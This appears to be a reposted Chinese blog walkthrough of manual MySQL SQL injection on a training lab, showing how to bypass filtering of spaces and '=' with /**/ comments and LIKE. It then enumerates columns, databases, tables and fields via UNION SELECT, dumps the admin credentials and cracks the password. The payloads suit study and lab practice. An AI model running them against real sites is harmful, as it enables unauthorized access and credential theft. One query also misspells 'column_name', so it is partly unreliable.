1. 程式人生 > >MySQL手工注入進階篇——突破過濾危險字元問題

MySQL手工注入進階篇——突破過濾危險字元問題

當我們在進行手工注入時,有時候會發現咱們構造的危險字元被過濾了,接下來,我就教大家如何解決這個問題。下面是我的實戰過程。這裡使用的是墨者學院的線上靶場。咱們直接開始。

第一步,判斷注入點。

通過測試發現,這裡過濾了空格和等於號。所以咱們用/**/代替空格,用like代替=,最後將構造的語句進行url編碼,使用的是小葵轉化工具。

所以咱們構造如下語句。

 

/**/and/**/1/**/like/**/1

結果如下圖,頁面正常顯示。

 

接著咱們再構造如下語句。

/**/and/**/1/**/like/**/2

發現頁面報錯,說明存在注入點,且為數字型。如下圖

 

第二步,判斷欄位數。

通過 order by語句,咱們構造如下語句

/**/order/**/by/**/4

頁面正常顯示,如下圖。

 

接下來,咱們輸入如下語句。

/**/order/**/by/**/5

發現頁面報錯,說明資料庫裡有四個欄位,如下圖。

第三步,判斷回顯位置。

通過聯合查詢,構造如下語句。這裡有一點要注意:使用聯合查詢時,要使得前面不可查詢,所以我將id=1改成了id=-1。

/**/union/**/select/**/1,2,3,4/**/#

 

結果如下圖,我們發現,2,3,兩個位置回顯到頁面上了。

 

第四步,爆庫

通過上一步,咱們清楚了回顯位置,接下來繼續使用聯合查詢,構造如下語句。

/**/union/**/select/**/1,database(),3,4/**/#

結果去下圖。咱們爆出了資料庫名。

第五步,爆表。

由於爆表構造得語句有點長,編碼成url格式會更長。所以這裡換成了burpsuite進行url編碼。構造語句如下。

/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/庫名(將庫名轉換成十六進位制)

結果去下圖,咱們爆出了兩個表。

第六步,爆欄位。

接下來咱們構造如下語句。

/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(轉換成十六進位制)

 

然後咱們發現了name,password,兩個欄位,如下圖。

第七步,爆賬號密碼。

這裡咱們還用到了group_concat()函式,可以查詢出所有賬號和密碼。構造如下語句。

/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

結果如下圖,查詢出了管理員賬號,密碼。

第八步,解密密碼,登陸

我們發現查詢出來得密碼是加密得,然後通過線上解密得到密碼,如下圖。注入結束。

 

 

MySQL手工注入進階篇實戰總結

判斷注入點,通過測試發現,過濾了空格,等於號,所以用/**/代替空格,用like代替等於號,構造的語句在進行url編碼。

第一步,判斷注入型別。構造語句 /**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2 發現報錯。所以判斷為數字型。

第二步,判斷欄位數,構造語句 /**/order/**/by/**/4和/**/order/**/by/**/5 發現4正常,5報錯,說明有四個欄位數。

第三步,爆庫。構造語句 /**/union/**/select/**/1,database(),3,4/**/#

第四步,爆表。構造語句/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/庫名(將庫名轉換成十六進位制)

第五步,爆欄位。構造語句 ​ 構造語句/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(轉換成十六進位制)

第六步,獲取賬戶,密碼。構造語句 /**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名

第七步,解密,登陸。​